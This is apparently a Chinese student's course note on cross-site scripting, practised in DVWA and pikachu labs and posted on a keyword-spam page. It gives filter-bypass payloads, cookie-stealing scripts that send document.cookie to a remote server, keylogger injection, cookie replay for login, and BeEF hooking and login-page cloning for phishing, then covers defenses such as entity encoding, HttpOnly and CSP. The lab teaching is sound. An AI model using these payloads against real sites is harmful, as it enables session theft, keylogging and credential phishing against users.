当前位置: 首页 > news >正文

阿里巴巴国际站网站做销售方案/百度快速收录接口

阿里巴巴国际站网站做销售方案,百度快速收录接口,升降机网站怎么做,做物流网站的公司哪家好目录 一、基本概念 二、XSS分类 1、反射型XSS 2、存储型XSS 3、DOM型XSS 三、手工测试 1、反射型XSS漏洞 (1)安全等级low (2)DOM的XSS (3)安全等级medium (4)安全等级hig…

目录

一、基本概念

二、XSS分类

1、反射型XSS

2、存储型XSS

3、DOM型XSS

三、手工测试

1、反射型XSS漏洞

(1)安全等级low

(2)DOM的XSS

(3)安全等级medium

(4)安全等级high

2、存储型XSS漏洞

(1)安全等级low

(2)安全等级medium

(3)安全等级high

四、XSS盲打

五、XSS键盘记录

六、XSS平台利用--获取cookie

1、初始化自带的XSS后台

2、前台XSS盲打攻击获取cookie

3、BeEF-XSS获取cookie

(1)BeEF的安装和配置

(2)BeEF克隆其他网站

(3)使用beef获取cookie值

七、XSS防御绕过

1、过滤不严格

2、HTML实体编码

八、XSS防御

1、输入检查

2、HTML实体编码

3、HTTPonly

4、内容安全策略

作业


一、基本概念

  • 跨站脚本攻击主要针对的是用户层面的攻击。恶意攻击者往WEB页面内插入恶意脚本,当用户浏览该页面时,嵌入web里面的恶意代码就会被执行,从而达到恶意攻击用户的目的。有两个前提条件:一个是是否能够插入恶意脚本或者JS代码;一个是这个恶意代码是否能够被执行。

  • 在WEB页面上,有一种常见的功能是:将用户输入的内容输出到页面上。但是如果输入的内容是一段经过构造的JS代码,提交之后再次访问这个页面时,用户就会获取该JS代码在浏览器端执行的结果。

二、XSS分类

1、反射型XSS

是一种非持久的攻击。只有攻击者诱导用户去点击URL访问网站才会造成攻击。

2、存储型XSS

是一种持久攻击。攻击者只需要将恶意代码保存在一个网页中,只要用户来访问这个页面,就会被攻击,谁来攻击谁。

3、DOM型XSS

是一种特殊的反射型XSS。DOM是文档对象模型,里面包含关于HTML的整体文档框架。我们可以通过JS操作一个一个的DOM对象,构造的恶意代码或者脚本可以处理这些DOM对象按照攻击者预设的意思或者代码逻辑进行执行,这样就造成了DOM型的XSS攻击。

三、手工测试

练习漏洞的靶场是DVWA,这里我使用的端口映射是8080.

docker pull sagikazarmark/dvwa

docker run -d -p 8080:80 sagikazarmark/dvwa

1、反射型XSS漏洞
(1)安全等级low
<script>alert(1)</script>
会造成一个弹窗。这个JS代码的语义是<script></script>是html标签,在中间的alert(1)是JS代码,会以JS代码逻辑去执行。当浏览器接收到这串代码之后,浏览器的渲染引擎认识左右两边的html标签,该标签的语义是中间写的内容都是JS代码,然后将JS代码交给解析引擎去处理,最终造成一个弹窗的结果。
​
<script>alert(XSS)</script>
会[object HTMLFormElement]报错,这是因为XSS是一个字符串,需要使用单引号括起来。
<script>alert('XSS')</script>
这样就可以弹出xss

通过标签和事件的对应关系也可以造成弹窗
<img src=## οnerrοr=alert(document.cookie)>
这是img标签,其中img_src后面应该写的一张图片的路径,当路径发生错误的之后则执行后面的事件,触发弹窗。document.cookie可以返回当前网页的cookie值。
​
事件与标签之间是一一对应的,这里a标签对应的事件是onmouseover,需要鼠标移动到a标签的位置才能触发。
<a οnmοuseοver=alert(document.cookie)>红包</a>
(2)DOM的XSS
  • 上面所述的都是只有受攻击的人自己可以看到当前网页的cookie,攻击者无法看到,这对于攻击者来说是毫无意义的。且这样只能证明存在XSS漏洞。所以我们要将cookie发送到远程服务器中。

<script>var img=document.createElement("img");img_src=alert(document.cookie);</script>
造成弹窗
<script>var img=document.createElement("img");img_src="http://xxxx/a?"+escape(document.cookie);</script>
var是用来声明一个变量,加号是用来进行拼接的,escape是一种编码方式。将收到的cookie进行escape编码然后拼接到前面的网站中,那么这个网站是攻击者的服务器,只有攻击者可以看到,而其他人看不到。攻击者可以在自己的WEB日志中进行查看,根据访问行为去获取cookie编码之后的值,然后解码得到cookie值;这里cookie编码是为了躲避安全设备的检测。
(3)安全等级medium
  • 当安全等级为中等的时候,我们通过查看dvwa网页的SQL语句会发现网站采用了$name = str_replace( '<script>', '', $_GET[ 'name' ] ); 将<script>标签过滤成为了空格。

因此输入
<script>alert(1)</script>
会返回hello alert(1),并没有造成任何弹窗,这说明<script>标签被过滤掉了

  • 方法:采用绕过的手法

    • 大小写混淆绕过:<sCripT>alert(1)</script>

    • 双写绕过:<scr<script>ipt>alert(1)</script>

    • 使用其他标签和事件对应引发弹窗:<img src=x Onerror=alert('XSS')>

(4)安全等级high
  • 当安全等级为高的时候,通过查看源代码会发现网站使用了正则匹配精准匹配到</script>该标签,这个时候我们没有办法使用绕过手法了,只能采用使用其他标签和事件对应来造成攻击。

  • 使用<img src=x Onerror=alert('XSS')>就可以造成弹窗,这里不再进行结果展示,和上面的操作是一样的。

2、存储型XSS漏洞

在进行存储型XSS漏洞的测试的时候需要完成一次攻击后就要对数据库进行更新,因为如果不更新上面一个攻击就还存在,无法确定是新的攻击生效还是旧的攻击生效。

(1)安全等级low

安全等级为low说明网站对于标签没有任何的过滤,所以很容易就造成攻击。

<script>alert(1)</script>
(2)安全等级medium
  • 有两个输入框,通过查看源代码发现在Message中使用了addslashes函数对于SQL语句进行了特殊字符转义,无法绕过,那么我们只能使用上面输入框name来进行攻击了

  • name:这个输入框采用了过滤的方式,同上面反射型的中等的情况,还有一个就是这个输入框中有字符限制,我们有两种方法进行处理

    • 一种是通过抓包,然后修改抓到的数据包进行请求包的修改,然后送过去造成攻击

    • 一种是在当前网页按F12,然后直接修改字符的长度

  • 那么在name中就可以使用大小写绕过,双写绕过和其他标签来进行攻击了。

(3)安全等级high
  • 使用的是正则匹配精准匹配,所以攻击的方式只有通过换其他标签来进行。和上面的反射型的是同样的道理。

四、XSS盲打

靶场环境是pikachu
docker pull area39/pikachu
docker run -d -p 8082:80 area39/pikachu
盲打的含义是无法在客户端看到任何反馈的信息,比如,你填写完一个调查问卷,所有的回复都是感谢您的填写,没有第二种回复,这样就没有办法根据反馈来判断输入信息的正确与否了。所以在前端我们是无法判断是否存在XSS,这种情况下,我们直接往后台插入XSS代码,然后等待,当管理员或者用户访问到目标页面的时候就会遭到XSS攻击。

XSS盲打是一种攻击场景,属于存储型XSS类型。

pikachu--cross-site-script--xss盲打--输入一句话木马然后点击提示一下,然后访问后台网址,进行登录,就会发现有弹窗,就说明攻击成功。

五、XSS键盘记录

主要的功能是监听用户的输入。主要流程是XSS攻击帮助插入脚本文件,然后脚本文件的功能是实现监听效果。在pikachu靶场中的/var/www/html/pkxss/rkeypress/目录下面有一个脚本文件rk.js

原理:
docker exec -it pikachu的运行ID /bin/bash
cd /var/www/html/pkxss/rkeypress/rk.js
vim rk.js
将脚本中的地址改为自己的靶场地址:10.0.0.161:8082
退出保存
rk.js这个脚本的功能是记录用户的输入,将记录的用户输入的内容发送给rkserver.php来进行保存,然后将其存在数据库中

具体的操作:
打开pikachu,进入XSS存储型在里面输入payload
<script src="http://10.0.0.161:8082/pkxss/rkeypress/rk.js"></script>
点击提交,然后再该页面随便输入一些字符。
之后在pikachu中点击管理工具--XSS后台,然后根据提示进行登录,然后点击键盘记录。就会发现刚在在该页面进行输入的字符都被记录了下来。

六、XSS平台利用--获取cookie

1、初始化自带的XSS后台

退出XSS后台然后重新登录进入。

2、前台XSS盲打攻击获取cookie
在后端有一个目录/var/www/html/pkxss/xcookie/下的cookie.php文件是用来收集cookie值的。
​
(1)在pikachu靶场中,进入XSS盲打界面,然后输入可以获取cookie的payload:
<script>document.write('<img src="http://10.0.0.161:8082/pkxss/xcookie/cookie.php?cookie='+document.cookie+'"/>')</script>
这个payload的意思是使用document.write向页面写一个img标签,src访问cookie.php并提供cookie值。(因为这个脚本文件就是用来收集网页的cookie的)
然后进入后台网站进行问卷调查的查看(点击提示一下,有个网站,然后进入进去就可以看到填写的内容了),然后退出登录。
​
(2)直接访问xss后台--登录--cookie值获取--就会发现相关的内容。这样就算是拿到一个cookie值了。

拿到一个cookie有什么用呢?
当我们要登录一个需要用户密码的网页的时候,如果我们的网址中携带cookie值我们就不需要输入用户名和密码了,就可以直接进行访问。
安装一个火狐插件cookie-editor(作者是cgagnier),其插件的作用主要是用来修改cookie。安装好插件之后就可以在插件中进行添加相关的cookie值:
如:ant[name];ant[pwd]等都要添加进去,添加进去之后访问后台网址是/xssblind/admin_login.php这里需要把admin_login.php改为admin.php。因为此时访问的URL是懈怠了cookie值的,所以要访问的是登录后的页面。

利用cookie的前提是该用户未关闭这个网页,因为关掉网页后cookie的值会发生变化。
有什么办法可以预防攻击者拿到cookie值之后进行登录?
网页登录开发人员可以设置禁止多人登录同一个账号
网站可以记录登录IP,若IP相同则安全,若IP不相同则拦截。拦截可以是强制都下线,或者给用户一个提示。
3、BeEF-XSS获取cookie

BeEF是web攻击平台,是一个工具,继承了很多payload,可以通过xss漏洞配合JS脚本和Metasploit(MSF攻击工具,是主机层面的漏洞攻击)进行渗透。

(1)BeEF的安装和配置
  • 首先要安装一个kali镜像

  • 然后再kali操作系统中安装beef

    sudo apt install beef-xss
  • 在配置文件中进行修改

    在/usr/share/beef-xss/config.yaml中
    将密码进行修改未123
    将监听地址改为:在自己的电脑上 桌面键+R-- cmd--ipconfig
    (
    ipv4就是自己主机的地址:192.168.3.153
    这里我的电脑打开cmd之后直接输入ipconfig会发生报错显示不是命令,然后可以手动导航
    cd C:\Windows\System32
    ipconfig
    )

  • 启动beef

    cd /usr/share/beef-xss
    ./beef
    其中有三个重要的参数
    ​Hook URL:
    UI URL:
    Restiful API key:
    登录
    usname:beef
    password:123

(2)BeEF克隆其他网站
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"要克隆网站的url", "mount":"克隆在哪个目录"}' -X POST
http://BEEF的URL的地址/api/seng/clone_page?token=beef的密钥
总共有四个部分需要填写
使用beef克隆一个登录页面从而获取用户名和密码
克隆页面本质只是克隆了一个页面。
这里克隆一个dvwa的登录页面,用户在克隆网站中进行登录,则在beef中可以看到用户输入的用户名和密码,达到一个钓鱼的效果。
(3)使用beef获取cookie值
payload是
<script src="HOOK URL"></script>
在XSS盲打页面提交该语句,访问留言后台
在beef中,点击上线网站--commands--点击命令getcookie--获取cookie
(这里由于谷歌浏览器有安全机制,所以该实验在谷歌浏览器中不能成功)
​
这些命令有不同的颜色:
绿色:用户可能察觉到异常
橙色:用户可能会感到异常
灰色:不确定是否能够执行
红色:无法执行
不同浏览器中命令可行性不同

七、XSS防御绕过

1、过滤不严格
pikachu中--XSS过滤--会对script标签进行过滤--这里我们可以采用大小写绕过,其他标签替换的方式来进行绕过
2、HTML实体编码
&  &amp;
"  &quot;
<   &lt;
>   &gt;
HTML编码的特点是&符号开头分号结尾。
特殊的符号经过编码之后会发生变化,从而达到预防的效果。
XSS漏洞最好的防御方法就是做实体编码
eg:
<img src="" οnerrοr=alert(1)>
==>  &lt;img src=&quot;&quot; οnerrοr=alert(1)&gt;
经过实体编码之后浏览器的渲染引擎不会对其进行识别,因此可以预防XSS漏洞。
但是在PHP中是通过htmlspecialchars()这个函数来实现HTML编码的,该函数在默认配置下,仅仅会编码双引号,故不安全。在对一个网站进行开发的时候,可以提示开发人员要对该函数进行完整的配置,使其能够对任意特殊字符都进行实体编码,达到安全的效果。

八、XSS防御

XSS攻击主要有两个重要的要素:

  • 攻击者是否能够提交恶意代码--也就是输入

  • 浏览器是否可以执行恶意代码--也就是输出

所以根本的解决方法是从输入到输出都需要进行过滤,转义。

1、输入检查

针对用户的输入进行过滤操作,但是一般情况下过滤是有限的,很容易通过大小写转换,双写,其他标签的方式绕过。

2、HTML实体编码

还可以使用Javascript编码手段。

3、HTTPonly

XSS的本质是获取cookie,而HTTPonly不是阻止XSS攻击,而是能够阻止XSS攻击之后的cookie劫持攻击。

4、内容安全策略

该防御的本质是建立白名单,只有在白名单内部的代码才能够进行执行。在网页中,这样的策略通过HTTP头信息或者meta元素进行定义。即使发生了XSS攻击,也不会加载白名单以外的来源不明的第三方脚本。也就是可以插入脚本,但是没在白名单的脚本是不可以进行执行,从而阻断了XSS攻击。

作业

上节课的剩下的一个题目:完成DVWA靶场存储型XSS的漏洞练习。

网络安全C10-2024.10.19

作业:(相关解答和实操部分均已经在上文中展示。)

1、XSS

(1)使用pikachu平台练习XSS键盘记录、前台XSS盲打攻击获取cookie,利用cookie实现登录 (2)使用beef制作钓鱼页面,克隆任意站点的登录页面并获取用户登录的账号密码

http://www.whsansanxincailiao.cn/news/31973466.html

相关文章:

  • 淮北网站开发/谷歌seo关键词优化
  • 泰安新浪乐居房产网/seo待遇
  • 上海做网站的公司电话/小说百度搜索风云榜
  • 怎么用网站的二级目录做排名/seo网站快速排名外包
  • 礼品公司怎么做网站/优化大师是干什么的
  • 如何看网站排名/网络推广
  • wordpress 加音乐/seo标题生成器
  • 济南企业做网站/条友网
  • 调查问卷wordpress/广西壮族自治区在线seo关键词排名优化
  • 微信公众号怎么做微网站吗/百度热线人工服务电话
  • 做网站的数据库/优化网站怎么做
  • 搜索引擎优化指南/seo咨询河北
  • 网站打开速度慢跟什么有关系/百度首页百度
  • 信息网站设计方案/百度我的订单
  • 科技创新论文800字/深圳网站优化
  • 大企业网站建设/好用的种子搜索引擎
  • 沧州各种网站/写手接单平台
  • 铁岭网站制作/小程序开发收费价目表
  • 白沟网站建设/seo如何去做优化
  • 网站建设一年多少恰/云南网站建设快速优化
  • asp网站开发招聘/百度推广客服工作怎么样
  • 做ppt好的网站/搜索引擎优化的英文缩写
  • 全屋定制怎么样做网站/宜昌今日头条新闻
  • 怎么做网站教程图片/成都seo达人
  • 做电商网站哪里好/网站建设seo优化培训
  • 化妆品网站建设预算明细表/免费写文章的软件
  • 婚纱摄影网站制作/谷歌play商店官网
  • c2c网站建站的标准/深圳seo优化方案
  • 网站的可视化设计/北京seo人员
  • 网站建设的基础资料/百度浏览器下载官方免费